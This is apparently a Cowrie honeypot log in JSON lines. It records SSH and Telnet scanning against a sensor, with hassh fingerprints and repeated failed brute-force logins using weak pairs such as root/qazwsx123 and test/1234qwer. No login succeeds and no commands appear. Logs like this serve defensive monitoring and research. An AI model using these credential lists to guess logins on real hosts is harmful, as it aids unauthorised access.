{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34034,"dst_ip":"159.203.135.109","dst_port":22,"session":"41f7dd9e094d","protocol":"ssh","message":"New connection: 45.156.87.254:34034 (159.203.135.109:22) [session: 41f7dd9e094d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:24.788496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:24.792838Z","src_ip":"45.156.87.254","session":"41f7dd9e094d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:24.882988Z","src_ip":"45.156.87.254","session":"41f7dd9e094d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:25.149970Z","src_ip":"45.156.87.254","session":"41f7dd9e094d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:26.237904Z","src_ip":"45.156.87.254","session":"41f7dd9e094d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48942,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ba52c2fcbd0","protocol":"ssh","message":"New connection: 45.156.87.254:48942 (159.203.135.109:22) [session: 2ba52c2fcbd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:29.971619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:29.977355Z","src_ip":"45.156.87.254","session":"2ba52c2fcbd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:30.066615Z","src_ip":"45.156.87.254","session":"2ba52c2fcbd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:30.331034Z","src_ip":"45.156.87.254","session":"2ba52c2fcbd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:31.419914Z","src_ip":"45.156.87.254","session":"2ba52c2fcbd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":45656,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d9612a8989b","protocol":"telnet","message":"New connection: 20.123.41.163:45656 (10.17.0.5:23) [session: 0d9612a8989b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:33.608800Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48952,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bd13e293780","protocol":"ssh","message":"New connection: 45.156.87.254:48952 (159.203.135.109:22) [session: 4bd13e293780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:35.136358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:35.143404Z","src_ip":"45.156.87.254","session":"4bd13e293780","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:35.228638Z","src_ip":"45.156.87.254","session":"4bd13e293780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:35.482257Z","src_ip":"45.156.87.254","session":"4bd13e293780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:36.571602Z","src_ip":"45.156.87.254","session":"4bd13e293780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.192.151.230","src_port":62257,"dst_ip":"159.203.135.109","dst_port":23,"session":"31493d239e9f","protocol":"telnet","message":"New connection: 200.192.151.230:62257 (159.203.135.109:23) [session: 31493d239e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:39.121618Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58738,"dst_ip":"159.203.135.109","dst_port":22,"session":"d650f9c0f0b9","protocol":"ssh","message":"New connection: 45.156.87.254:58738 (159.203.135.109:22) [session: d650f9c0f0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:40.371062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:40.375919Z","src_ip":"45.156.87.254","session":"d650f9c0f0b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:40.458849Z","src_ip":"45.156.87.254","session":"d650f9c0f0b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:40.714884Z","src_ip":"45.156.87.254","session":"d650f9c0f0b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":43792,"dst_ip":"10.17.0.5","dst_port":22,"session":"26543aea001e","protocol":"ssh","message":"New connection: 185.16.214.226:43792 (10.17.0.5:22) [session: 26543aea001e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:41.798556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:41.803468Z","src_ip":"185.16.214.226","session":"26543aea001e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:41.814109Z","src_ip":"45.156.87.254","session":"d650f9c0f0b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:41.928186Z","src_ip":"185.16.214.226","session":"26543aea001e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:42.457629Z","src_ip":"185.16.214.226","session":"26543aea001e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:43.586506Z","src_ip":"185.16.214.226","session":"26543aea001e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58750,"dst_ip":"159.203.135.109","dst_port":22,"session":"b922a9cbd120","protocol":"ssh","message":"New connection: 45.156.87.254:58750 (159.203.135.109:22) [session: b922a9cbd120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:44.726515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:44.855009Z","src_ip":"45.156.87.254","session":"b922a9cbd120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:44.859595Z","src_ip":"45.156.87.254","session":"b922a9cbd120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.496991634368896,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:45.105641Z","src_ip":"20.123.41.163","session":"0d9612a8989b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:45.224197Z","src_ip":"45.156.87.254","session":"b922a9cbd120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41276,"dst_ip":"10.17.0.5","dst_port":23,"session":"01b7d6f082dd","protocol":"telnet","message":"New connection: 104.245.105.2:41276 (10.17.0.5:23) [session: 01b7d6f082dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:46.025922Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:46.315240Z","src_ip":"45.156.87.254","session":"b922a9cbd120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":44522,"dst_ip":"10.17.0.5","dst_port":22,"session":"a40993674214","protocol":"ssh","message":"New connection: 186.30.115.187:44522 (10.17.0.5:22) [session: a40993674214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:46.389129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:46.393465Z","src_ip":"186.30.115.187","session":"a40993674214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:46.485343Z","src_ip":"186.30.115.187","session":"a40993674214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123123","message":"login attempt [newuser/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:46.891326Z","src_ip":"186.30.115.187","session":"a40993674214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.341546773910522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:47.978776Z","src_ip":"104.245.105.2","session":"4be458fce059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:47.985181Z","src_ip":"186.30.115.187","session":"a40993674214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48474,"dst_ip":"159.203.135.109","dst_port":22,"session":"cad0452b674d","protocol":"ssh","message":"New connection: 45.156.87.254:48474 (159.203.135.109:22) [session: cad0452b674d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:49.563933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:49.568936Z","src_ip":"45.156.87.254","session":"cad0452b674d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:49.805045Z","src_ip":"45.156.87.254","session":"cad0452b674d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:50.084918Z","src_ip":"45.156.87.254","session":"cad0452b674d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:50:51.170732Z","src_ip":"45.156.87.254","session":"cad0452b674d","protocol":"ssh"}
